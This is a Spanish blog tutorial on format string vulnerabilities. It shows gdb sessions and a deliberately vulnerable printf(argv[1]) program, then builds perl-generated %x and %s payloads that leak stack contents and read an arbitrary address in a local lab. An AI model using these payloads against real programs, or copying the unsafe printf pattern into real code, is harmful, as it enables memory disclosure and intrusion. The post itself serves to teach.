Exploitation: Format Strings I

Este tipo de vulnerabilidad se debe al funcionamiento interno de las funciones de la familia printf, que junto a un uso inadecuado de las mismas puede dar lugar a la lectura y escritura de posiciones arbitrarias de memoria. Por desgracia para el atacante (o por suerte para el programador) este tipo de fallo es muy fácil de identificar en una aplicación. Cualquier persona que lea el código de un programa o cualquier herramienta de análisis de código encontrará y solucionará estos problemas, por lo que es difícil que los encontremos en la vida real. Recordad lo que comentábamos hacia el final de la entrada de Conocimientos previos II sobre el funcionamiento de printf. Si os acordáis, la función printf recorre la cadena de texto y la va mostrando por pantalla, hasta que encuentra un caracter de formato, en ese momento, accede a la pila (con el desplazamiento adecuado) para localizar ese argumento y sustituirlo en la posición del especificador de formato. Veamos un ejemplo:


adrian@Andromeda-virt:~/exploiting$ gdb a.out -q
Leyendo símbolos desde /home/adrian/exploiting/a.out...hecho.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080483e4 <main+0>:    push   ebp
0x080483e5 <main+1>:    mov    ebp,esp
0x080483e7 <main+3>:    and    esp,0xfffffff0
0x080483ea <main+6>:    sub    esp,0x10
0x080483ed <main+9>:    mov    eax,0x80484d0
0x080483f2 <main+14>:    mov    DWORD PTR [esp+0x4],0xd
0x080483fa <main+22>:    mov    DWORD PTR [esp],eax
0x080483fd <main+25>:    call   0x804831c <printf@plt>
0x08048402 <main+30>:    mov    eax,0x0
0x08048407 <main+35>:    leave
0x08048408 <main+36>:    ret
End of assembler dump.
(gdb) list
1    #include <stdio.h>
2
3    int main(int argc, char* argv[]){
4        printf("Esto es un trece %d\n",13);
5        return 0;
6    }
(gdb) br 4
Punto de interrupción 1 at 0x80483ed: file printf.c, line 4.
(gdb) run
Starting program: /home/adrian/exploiting/a.out

Breakpoint 1, main (argc=1, argv=0xbffff534) at printf.c:4
4        printf("Esto es un trece %d\n",13);
(gdb) si
0x080483f2    4        printf("Esto es un trece %d\n",13);
(gdb) si
0x080483fa    4        printf("Esto es un trece %d\n",13);
(gdb) si
0x080483fd    4        printf("Esto es un trece %d\n",13)
(gdb) x/16wx $sp
0xbffff46c:    0x08048402    0x080484d0    0x0000000d    0x0804842b
0xbffff47c:    0x00e63ff4    0x08048420    0x00000000    0xbffff508
0xbffff48c:    0x00d39b56    0x00000001    0xbffff534    0xbffff53c
0xbffff49c:    0xb7fff858    0xbffff4f0    0xffffffff    0x00778ff4
(gdb) x/s 0x080484d0
0x80484d0:     "Esto es un trece %d\n"
(gdb) p 0x0000000d
$1 = 13
(gdb) c
Continuando.
Esto es un trece 13

Program exited normally.

En el desensamblado podemos ver como al preparar la llamada a printf (main+0 a main+22) se coloca en la pila la dirección de la cadena “Esto es un trece\n” (0x080484d0) y el valor 13 (0xd) puesto que son argumentos de la función a llamar. Justo al entrar en la función printf, examinando la pila vemos la dirección de retorno, seguida de la dirección de la cadena y el valor 13. Sabiendo cómo funciona printf, podemos aventurar que busca el valor para colocar en lugar del especificador de formato (el valor para sustituir el %d) en la posición siguiente de la pila. Si hubiera un segundo valor que colocar, lo buscaría en la siguiente posición, y así sucesivamente. Es decir, que según interpreta printf, la pila tiene la siguiente pinta:

printf_stack

Pila interpretada según printf

El problema viene cuando se utiliza printf de modo inadecuado sobre una variable controlada por el usuario. Estoy seguro que todos conocéis la utilidad echo de linux. Imaginad una primera aproximación a la misma, sin que reciba argumentos adicionales. Simplemente recibe una cadena y la muestra por pantalla seguida de un salto de línea. Algo así:


#include <string.h>
#include <stdio.h>

int main(int argc, char* argv[]){
 printf(argv[1]);
 printf("\n");
 return 0;
}

No parece nada raro. Bueno sí, un poco cutre, pero nos sirve para el ejemplo. En principio esta aplicación funciona como cabría esperar, le das una cadena y la muestra por pantalla.


adrian@Andromeda-virt:~/exploiting$ ./fstrings hola
hola
adrian@Andromeda-virt:~/exploiting$ ./fstrings holaaaaaaa!
holaaaaaaa!
adrian@Andromeda-virt:~/exploiting$ ./fstrings

adrian@Andromeda-virt:~/exploiting$ ./fstrings $(perl -e 'print "A"x200')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA

Recordando lo que comentamos un poco más arriba, si printf encontrase un especificador de formato (%x por ejemplo) en la cadena que trata de imprimir, asumirá que el argumento que debe colocar en esa posición está en la posición de memoria siguiente a la de la cadena en sí, ¿no? Vamos a probar.


adrian@Andromeda-virt:~/exploiting$ gdb -q fstrings
Leyendo símbolos desde /home/adrian/exploiting/fstrings...hecho.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x08048414 <main+0>:    push   ebp
0x08048415 <main+1>:    mov    ebp,esp
0x08048417 <main+3>:    and    esp,0xfffffff0
0x0804841a <main+6>:    sub    esp,0x10
0x0804841d <main+9>:    mov    eax,DWORD PTR [ebp+0xc]
0x08048420 <main+12>:    add    eax,0x4
0x08048423 <main+15>:    mov    eax,DWORD PTR [eax]
0x08048425 <main+17>:    mov    DWORD PTR [esp],eax
0x08048428 <main+20>:    call   0x8048350 <printf@plt>
0x0804842d <main+25>:    mov    DWORD PTR [esp],0xa
0x08048434 <main+32>:    call   0x8048330 <putchar@plt>
0x08048439 <main+37>:    mov    eax,0x0
0x0804843e <main+42>:    leave
0x0804843f <main+43>:    ret
End of assembler dump.
(gdb) br *0x08048428
Punto de interrupción 1 at 0x8048428: file fstrings.c, line 5.
(gdb) run hola.%x
Starting program: /home/adrian/exploiting/fstrings hola.%x

Breakpoint 1, 0x08048428 in main (argc=2, argv=0xbffff534) at fstrings.c:5
5        printf(argv[1]);
(gdb) si
0x08048350 in printf@plt ()
(gdb) x/16wx $sp
0xbffff46c:    0x0804842d    0xbffff6b3    0x00732d20    0x0804845b
0xbffff47c:    0x00584ff4    0x08048450    0x00000000    0xbffff508
0xbffff48c:    0x0045ab56    0x00000002    0xbffff534    0xbffff540
0xbffff49c:    0xb7fff858    0xbffff4f0    0xffffffff    0x00740ff4
(gdb) x/s 0xbffff6b3
0xbffff6b3:     "hola.%x"
(gdb) c
Continuando.
hola.732d20

Program exited normally.

¿Qué está pasando aquí? Que tal y como hemos ejecutado el programa, la llamada printf(argv[1]) se ha transformado en printf(“hola.%x”). Cuando la función recorre la cadena, se topa con el especificador de formato (%x) y busca el valor a reemplazar en la posición de memoria que sigue a la cadena (0x00732d20). En esa posición debería estar el segundo argumento de la función, si se hubiera invocado correctamente. O sea que parece que podemos leer posiciones de memoria que se encuentran tras nuestra cadena en la pila. Alguien estará pensando “¡Oye! tú dijiste leer posiciones arbitrarias!”, y tendrá razón. Si hacemos un poco memoria, recordaremos que los argumentos de las funciones están en la pila, y que de hecho main es una función, por lo que sus argumentos (argv[1]) se encontrarán en la pila, ¿no? Esto quiere decir que la cadena que le pasemos a main se encontrará en la pila. Vamos a ver dónde.

adrian@Andromeda-virt:~/exploiting$ gdb -q fstrings
Leyendo símbolos desde /home/adrian/exploiting/fstrings...hecho.
(gdb) list
1    #include <string.h>
2    #include <stdio.h>
3
4    int main(int argc, char* argv[]){
5        printf(argv[1]);
6        printf("\n");
7        return 0;
8    }
(gdb) br 5
Punto de interrupción 1 at 0x804841d: file fstrings.c, line 5.
(gdb) run $(perl -e 'print "%08x."x180')
Starting program: /home/adrian/exploiting/fstrings $(perl -e 'print "%08x."x180')
Breakpoint 1, main (argc=2, argv=0xbffff1b4) at fstrings.c:5
5        printf(argv[1]);
(gdb) p $sp
$1 = (void *) 0xbffff0f0
(gdb) p argv[1]
$2 0xbffff335
"%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x."...
(gdb)

Esto debería darnos alguna idea. Desde dentro de la función printf, si examinamos suficientes valores de la pila toparemos con la propia cadena. Recordad que en los ejemplos anteriores lo que se pasaba a printf era un “puntero” (la dirección de memoria 0xbffff335) como primer argumento (la cadena). ¿Qué podemos hacer con esto? Pues, si utilizamos un especificador de formato que use una indirección (%s o %n, recordad la tabla) podremos leer cualquier posición de memoria. Vamos a hacer una prueba, que es más fácil verlo que contarlo:

adrian@Andromeda-virt:~/exploiting$ ./fstrings $(perl -e 'print "AAAA" . ".%08x"x142') | grep 4141
AAAA.00875d20.0804845b.00250ff4.08048450.00000000.bffff288.00126b56.00000002.bffff2b4
.bffff2c0.b7fff858.bffff270.ffffffff.00883ff4.08048270.00000001.bffff270.00875326.00884828
.b7fffb40.00250ff4.00000000.00000000.bffff288.993feefe.420df981.00000000.00000000.00000000
.00000002.08048360.00000000.0087afc0.00126a7b.00883ff4.00000002.08048360.00000000.08048381
.08048414.00000002.bffff2b4.08048450.08048440.00875d20.bffff2ac.00884670.00000002.bffff411
.bffff41c.00000000.bffff6e7.bffff709.bffff71c.bffff727.bffff737.bffff788.bffff7c3.bffff7d5
.bffff7f5.bffff801.bffffca2.bffffcd2.bffffcff.bffffd61.bffffd71.bffffd87.bffffdd4.bffffdf0
.bffffe07.bffffe18.bffffe2d.bffffe3e.bffffe50.bffffe58.bffffe6a.bffffe96.bffffea5.bfffff07
.bfffff44.bfffff64.bfffff71.bfffff93.bfffffac.bfffffe4.00000000.00000020.009f8420.00000021
.009f8000.00000010.078bf3ff.00000006.00001000.00000011.00000064.00000003.08048034.00000004
.00000020.00000005.00000008.00000007.00868000.00000008.00000000.00000009.08048360.0000000b
.000003e8.0000000c.000003e8.0000000d.000003e8.0000000e.000003e8.00000017.00000000.00000019
.bffff3fb.0000001f.bffffff1.0000000f.bffff40b.00000000.00000000.00000000.00000000.00000000
.e9000000.e7f63d69.40c0b36d.ce3292eb.69db3249.00363836.662f2e00.69727473.0073676e.41414141
.3830252e.30252e78.252e7838

adrian@Andromeda-virt:~/exploiting$ ./getenvaddr HOME ./fstrings
HOME will be at 0xbffffe5d
adrian@Andromeda-virt:~/exploiting$ ./fstrings $(perl -e 'print "\x5d\xfe\xff\xbf" . ".%08x"x140 . ".%s.%08x.%08x.%08x"')
]���.00f60d20.0804845b.00269ff4.08048450.00000000.bffff278.0013fb56.00000002.bffff2a4
.bffff2b0.b7fff858.bffff260.ffffffff.00f6eff4.08048270.00000001.bffff260.00f60326.00f6f828
.b7fffb40.00269ff4.00000000.00000000.bffff278.f98c7cd3.219e4bac.00000000.00000000.00000000
.00000002.08048360.00000000.00f65fc0.0013fa7b.00f6eff4.00000002.08048360.00000000.08048381
.08048414.00000002.bffff2a4.08048450.08048440.00f60d20.bffff29c.00f6f670.00000002.bffff409
.bffff414.00000000.bffff6e7.bffff709.bffff71c.bffff727.bffff737.bffff788.bffff7c3.bffff7d5
.bffff7f5.bffff801.bffffca2.bffffcd2.bffffcff.bffffd61.bffffd71.bffffd87.bffffdd4.bffffdf0
.bffffe07.bffffe18.bffffe2d.bffffe3e.bffffe50.bffffe58.bffffe6a.bffffe96.bffffea5.bfffff07
.bfffff44.bfffff64.bfffff71.bfffff93.bfffffac.bfffffe4.00000000.00000020.00d25420.00000021
.00d25000.00000010.078bf3ff.00000006.00001000.00000011.00000064.00000003.08048034.00000004
.00000020.00000005.00000008.00000007.00f53000.00000008.00000000.00000009.08048360.0000000b
.000003e8.0000000c.000003e8.0000000d.000003e8.0000000e.000003e8.00000017.00000000.00000019
.bffff3eb.0000001f.bffffff1.0000000f.bffff3fb.00000000.00000000.00000000.00000000.00000000
.cc000000.3efb00fa.7fd60334.c9d9f0f8.696420e7.00363836.00000000.00000000.662f2e00.69727473
.0073676e./home/adrian.3830252e.30252e78.252e7838

Al principio hemos utilizado “AAAA” para localizar el comienzo en la pila de la cadena que le introducimos al programa (el grep era para que lo coloreara, pero parece que wordpress no lo hace como la shell). Ahora viene un proceso manual de ajuste, sabemos que la primera palabra de nuestra cadena se coloca alrededor de 142 posiciones por debajo del puntero de pila. Si en la posición 142 de nuestra cadena colocamos un %s (string) tratará de leer el valor almacenado en “AAAA”. Si hacemos esto probablemente obtendremos una violación de segmento, por acceder a una posición inválida. Sin embargo, si localizamos la dirección de memoria de la variable HOME (cuyo valor es “/home/adrian“) y la sustituimos por “AAAA”, la cadena que imprimirá será el valor de $HOME, que es “/home/adrian” como se muestra en la última ejecución.

De este modo hemos conseguido leer posiciones arbitrarias de memoria y podemos obtener información muy valiosa del programa en ejecución. En la próxima entrada profundizaremos un poco más y explicaremos cómo podemos escribir posiciones arbitrarias de memoria, aunque seguro que alguno ya se lo huele.

Anuncios
Tagged with: , ,
Publicado en exploiting, hacking

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: